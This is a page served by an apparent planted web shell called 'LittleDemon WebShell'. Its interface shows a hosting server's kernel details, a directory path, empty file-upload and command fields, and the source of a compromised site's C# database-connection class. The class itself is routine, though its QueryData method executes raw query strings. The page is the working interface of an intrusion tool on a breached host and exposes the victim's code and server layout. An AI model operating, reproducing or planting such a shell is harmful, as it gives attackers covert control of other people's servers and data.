LittleDemon WebShell


Linux hosting5.siteguarding.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
Path : /home/devsafetybis/.trash/yuvatrip.com/App_Code/
File Upload :
Command :
Current File : /home/devsafetybis/.trash/yuvatrip.com/App_Code/BtcDBConnection.cs

using System;
using System.Collections.Generic;
using System.Configuration;
using System.Data;
using System.Data.SqlClient;
using System.Linq;
using System.Web;

/// <summary>
/// Summary description for DBconnection
/// </summary>
public class BtcDBConnection
{
    SqlConnection SqlServerConnection = null;

    public SqlConnection Connect()
    {

        try
        {
            SqlServerConnection = new SqlConnection(ConfigurationManager.ConnectionStrings["CS_YuvatripDB"].ToString());
            SqlServerConnection.Open();
        }
        catch (Exception exceptn)
        {
            throw exceptn;
        }
        return SqlServerConnection;
    }
    public SqlConnection ConnectionSQL()
    {
        SqlConnection SqlServerConnection = null;
        try
        {
            SqlServerConnection = new SqlConnection(ConfigurationManager.ConnectionStrings["CS_YuvatripDB"].ToString());
            SqlServerConnection.Open();
        }
        catch (Exception exceptn)
        {
            throw exceptn;
        }
        return SqlServerConnection;
    }
    public SqlConnection ConnectionMySql()
    {
        SqlConnection SqlServerConnection = null;
        try
        {
            SqlServerConnection = new SqlConnection(ConfigurationManager.ConnectionStrings["CS_YuvatripDB"].ToString());
            SqlServerConnection.Open();
        }
        catch (Exception exceptn)
        {
            throw exceptn;
        }
        return SqlServerConnection;
    }


    public void CloseConnectionAndNullify()
    {
        if (this.SqlServerConnection == null || this.SqlServerConnection.State == ConnectionState.Closed)
            return;
        this.SqlServerConnection.Close();
        this.SqlServerConnection.Dispose();

    }
    public void CloseConnectionAndNullify(SqlConnection SqlServerConnection_)
    {
        if (SqlServerConnection_ == null || SqlServerConnection_.State == ConnectionState.Closed)
            return;
        SqlServerConnection_.Close();
        SqlServerConnection_.Dispose();

    }

    public DataTable QueryData(string QueryString)
    {
        SqlConnection connection = this.Connect();

        DataTable dt = new DataTable();
        SqlCommand msqlCmd = new SqlCommand(QueryString, connection);
        msqlCmd.CommandType = CommandType.Text;
        SqlDataAdapter da = new SqlDataAdapter(msqlCmd);

        da.Fill(dt);
        connection.Close();

        return dt;
    }


}



LittleDemon - FACEBOOK
[ KELUAR ]